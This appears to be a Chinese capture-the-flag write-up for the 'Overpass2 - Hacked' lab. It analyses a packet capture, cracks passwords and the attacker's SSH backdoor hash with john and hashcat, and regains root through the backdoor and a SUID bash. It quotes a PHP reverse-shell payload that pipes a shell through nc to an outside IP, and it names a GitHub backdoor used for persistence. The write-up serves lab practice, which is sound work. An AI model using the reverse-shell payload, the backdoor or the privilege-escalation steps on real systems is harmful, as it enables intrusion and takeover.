Overpass2 - Hacked
取证 – 分析 PCAP
首先要找到上传反向 shell 的页面 URL,这里先过滤了 HTTP 数据包
很容易就看到了几个 POST 请求,上传的路径是 upload 路径,这里追踪那个 POST 数据包的 HTTP 流,进一步查看
可以看到他在 development 的 upload.php 下传入了一个 payload.php 的文件,内容就是一个反向的 shell
What was the URL of the page they used to upload a reverse shell?/development/
What payload did the attacker use to gain access?<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
接下来是找攻击者利用反向 shell 实现的攻击,这里先过滤出攻击者的数据包,使用 ip.dst == 192.168.170.145
可以看到除了前面的几个 HTTP 的数据包.后面就是 TCP 的数据包,可能是连接上了 shell,这里点击一个 TCP 数据包之后,进行追踪 TCP 流
可以看到就是 Linux 命令,发现攻击者使用 su 切换到 james 用户身份,也看到使用的密码
What password did the attacker use to privesc?whenevernoteartinstant
向下看,找到攻击者使用 git 命令从 GitHub 中下载了一个后门,设置了一个 ssh 连接
How did the attacker establish persistence?https://github.com/NinjaJc01/ssh-backdoor
最后要找到系统密码的破解,可以看到攻击者 cat 过 shadow 文件
这里我们可以看到最后五个用户的密码和用户名,使用 john 进行破解,破解的文件要只需要留下用户名和后面的 hash 值,hash 值的 :
后面的都需要删除掉
这里可以看出破解出四个用户的系统密码
研究 – 分析代码
这里需要分析后门的程序代码,我们可以到 GitHub 的地址中找到利用的后门程序
这个代码是自定义的一个带有密码的 SSH 服务器,使用正确的密码经过(SHA512 加盐哈希对比)才可以是实现登录
默认的哈希值在开头使用变量定义好了
在最后的函数中我们也找到盐的值
之前追踪 TCP 流中,可以看到使用的哈希值,这是使用 a 参数来设置了程序的哈希值,也就是后面登录时的校验密码
使用 hash:salt
的格式来写入 hash.txt,然后使用 hashcat 进行破解, hashcat -m 1710 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force
,也就可以拿到后门的密码了
进攻 – 回来
这里首先使用 nmap 对于目标端口进行扫描
进入 80 端口的 web 页面发现已经被挂了黑页
这里也发现了 2222 端口开放着,就利用之前破解的密码进行登录,注意要加上 -oHostKeyAlgorithms=+ssh-rsa
,登录之后可以在 james 的根目录下找到 flag
这里使用 ls -al
查看一下根目录下文件,发现一个 suid 的 .suid_hash
文件,运行之后发现是给了一个终端,就是 bash 文件的效果,在https://gtfobins.github.io/gtfobins/bash/#suid进行了搜索,发现加上 -p
参数运行就可以拿到 root 权限
最后在/root 目录下找到根 flag